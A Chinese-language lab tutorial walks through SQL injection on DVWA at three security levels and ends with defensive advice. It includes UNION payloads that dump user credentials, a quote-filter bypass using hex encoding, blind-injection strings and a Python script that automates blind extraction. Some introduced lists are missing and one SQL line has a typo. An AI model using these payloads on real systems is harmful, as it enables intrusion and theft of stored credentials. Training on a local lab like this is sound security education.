在网络安全领域,SQL注入始终是最具破坏力的漏洞之一。DVWA(Damn Vulnerable Web Application)作为专为安全测试设计的靶场,提供了从低到高三种不同安全级别的SQL注入环境。本文将带您深入理解每种级别的防御机制差异,并掌握针对性的攻击手法。
在开始实战前,我们需要确保DVWA环境正确配置。推荐使用Kali Linux虚拟机配合XAMPP搭建本地测试环境:
bash复制# 下载DVWA
wget https://github.com/digininja/DVWA/archive/master.zip
unzip master.zip
mv DVWA-master /opt/lampp/htdocs/dvwa
# 配置数据库
mysql -u root -p
CREATE DATABASE dvwa;
GRANT ALL ON dvwa.* TO 'dvwa'@'localhost' IDENTIFIED BY 'p@ssw0rd';
FLUSH PRIVILEGILES;
SQL注入核心原理:当应用程序未正确处理用户输入,攻击者可以通过构造特殊输入改变原始SQL查询逻辑。常见攻击目标包括:
提示:所有测试仅在授权环境下进行,未经授权的渗透测试可能涉及法律风险
Low级别未设置任何防护措施,是理解注入原理的最佳起点。我们以用户ID查询功能为例:
首先确认注入类型,输入以下测试语句观察响应差异:
code复制1 # 正常返回用户1的信息
1' # 出现SQL语法错误
1' and '1'='1 # 恢复正常结果
这表明存在字符型注入,且使用单引号闭合。通过以下步骤获取数据库信息:
sql复制-- 确定列数
1' order by 2--
1' order by 3-- # 报错,确认共2列
-- 查找显示位
-1' union select 1,2--
-- 获取当前数据库名
-1' union select database(),2--
掌握信息收集方法是渗透测试的关键环节:
枚举数据库表:
sql复制-1' union select 1,group_concat(table_name)
from information_schema.tables
where table_schema=database()--
提取表结构:
sql复制-1' union select 1,group_concat(column_name)
from information_schema.columns
where table_name='users'--
获取凭证数据:
sql复制-1' union select user,password from users--
注意:DVWA中的密码采用MD5哈希存储,可使用在线工具如CrackStation进行破解
Medium级别引入了两项关键防护:
由于无法直接输入,需要使用Burp Suite拦截修改请求:
http复制POST /dvwa/vulnerabilities/sqli/ HTTP/1.1
Host: localhost
[...]
id=1+and+1%3D1&Submit=Submit
当引号被过滤时,可采用十六进制表示字符串:
sql复制-- 原始语句(会被过滤)
union select table_name from information_schema.tables where table_schema='dvwa'
-- 十六进制替代
union select table_name from information_schema.tables where table_schema=0x64767761
常用转换表:
| 字符串 | 十六进制 |
|---|---|
| dvwa | 0x64767761 |
| users | 0x7573657273 |
| user | 0x75736572 |
High级别增加了会话隔离和输入限制:
尽管防护增强,核心注入逻辑仍然有效:
sql复制-- 测试注入类型
1' and 1=1# -- 正常
1' and 1=2# -- 无结果
-- 获取数据库版本
1' union select 1,@@version#
当页面不直接显示数据时,布尔盲注成为有效手段:
sql复制-- 测试数据库名长度
1' and length(database())=4#
-- 逐字符猜解
1' and substring(database(),1,1)='d'#
1' and ascii(substring(database(),2,1))=118#
盲注过程耗时,可结合Python自动化:
python复制import requests
target = "http://localhost/dvwa/vulnerabilities/sqli_blind/"
cookies = {"security":"high","PHPSESSID":"..."}
def test_payload(payload):
r = requests.get(target, params={"id":payload,"Submit":"Submit"}, cookies=cookies)
return "exists" in r.text
# 猜解数据库名
db_name = ""
for i in range(1,5):
for c in 'abcdefghijklmnopqrstuvwxyz':
if test_payload(f"1' and substring(database(),{i},1)='{c}'#"):
db_name += c
break
print(f"Database: {db_name}")
了解攻击手段后,开发者应实施以下防护措施:
参数化查询:
php复制$stmt = $db->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $input);
$stmt->execute();
输入验证:
(int)$_GET['id'])最小权限原则:
sql复制CREATE USER 'webapp'@'localhost' IDENTIFIED BY 'strongpassword';
GRANT SELECT ON dvwa.users TO 'webapp'@'localhost';
防御层:
在真实项目中,每个数据库操作都应视为潜在的安全风险点。通过DVWA的阶梯式训练,我们不仅能掌握攻击技术,更能深刻理解防御的重要性。